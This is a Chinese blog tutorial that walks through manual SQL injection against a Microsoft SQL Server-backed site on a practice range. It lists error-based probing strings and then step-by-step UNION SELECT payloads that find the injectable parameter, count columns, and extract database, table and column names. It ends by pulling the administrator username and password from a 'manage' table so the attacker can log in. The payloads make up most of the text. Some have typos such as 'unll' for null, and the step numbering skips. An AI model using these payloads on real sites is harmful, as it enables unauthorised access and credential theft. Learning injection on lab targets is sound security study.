• 手工注入——sql server (mssql)注入实战和分析


    前言

    首先要对sql server进行初步的了解。
    常用的全部变量
    @@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。
    @@servername:放回运行Sql server的本地服务器名称
    top
    在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替。

    正文

    如果对方网站管理员没有关闭错误消息提示,那么

      ;declare @d int        //判断sql server 支持多行语句查询

      and (select count(1) from [sysobjects])>=0    //是否支持子查询

      and user >0            //获取当前数据库用户名

      and db_name>0    //获取当前数据库名称

      and (select count(1) from [sysobjects])>=0   //当前数据库名

      and 1=(select @@servername)        //本地服务名

    这里就不一一列举了。

    如果网站管理员关闭了错误提示,那就只能使用联合查询和盲注了。下面的靶场实例就是关闭错误页面提示的情况下,通过联合查询获得管理员账号和密码。

    第一步,判断注入点

    通过观察,发现公告的地方可以进行尝试,如下图

    点击公告,然后咱们 通过 and 1=1 和and 1=2 发现报错, 说明这里是注入点。如下图

    第二步,判断字段数

    通过 order by 语句,发现 order by 4 返回正常,order by 5 报错,说明存在四个字段数,如下图。

    第三步,爆库

    使用联合查询,需要注意的是,使用联合查询时需要前面不可查询,可以将参数2改为-2,也可以构造 and 1=2 两种方式都可以。为了避免出现错误,四个字段,都用 null 代替,构造如下语句

    union all select null,null,unll,unll  

    然后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为

    union all select 1,(select db_name()), null, null 

    结果为下图,爆出了数据库

    第四步,爆表

    知道数据库名后,构造如下语句,爆出表名

     union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null

    结果如下图

    第五步,爆字段

    通过构造如下语句,可以爆出所有字段,

    union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null

    结果如下图

    第六步,获取数据

    通过构造如下语句

    union all select 1,(select top 1 username from manage),null,null
    
    union all select 1,(select top 1 password from manage),null,null

    结果如下图

    第七步,解密,登陆。实战结束

    sql server(mssql)手工注入总结

    第一步,判断注入点。通过 and 1=1 和and 1=2 判断,发现存在注入点,且为数据型。

    第二步,判断字段数 通过 order by 语句。

    第三步,判断回显位置 通过 union all select null,null,unll,unll  用数字依次替换,发现,第二个位置回显到页面上。

    第三步,爆库,通过 union all select 1,(select db_name()), null, null (使用联合查询时,要使得前面不可查询,所以将2改为-2)

    第四步,爆表,通过 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null

    第五步,爆字段,通过 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (变换后面得数字1,可以查询出所有字段)
    第七步,获取数据,通过 union all select1, (select top 1 字段 from 表名),null,null
    第八步,解密,登陆。

     

  • 相关阅读:
    css,dispaly与visibility
    关于easyui使用的一些错误
    如何修改 node_modules 里的文件
    vue中执行异步函数async和await的用法
    JavaScript中的变量提升本质
    JS 会有变量提升和函数提升
    Weakmap详解
    js中“??“和“?.“怎么用?
    selenium去除特征 undetected_chromedriver
    js 对象嵌套 hook
  • 原文地址:https://www.cnblogs.com/lxfweb/p/12675023.html
Copyright © 2020-2023  润新知